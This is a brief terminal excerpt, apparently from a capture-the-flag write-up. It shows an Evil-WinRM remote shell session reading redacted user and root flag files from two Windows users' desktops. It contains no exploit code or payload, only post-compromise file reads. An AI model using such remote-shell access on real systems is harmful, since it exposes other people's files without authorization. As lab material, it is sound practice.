*Evil-WinRM* PS C:\Users\max.palmer\Documents> type c:\users\ryan.brooks\desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\max.palmer\Documents> type c:\users\max.palmer\desktop\root.txt
<REDACTED>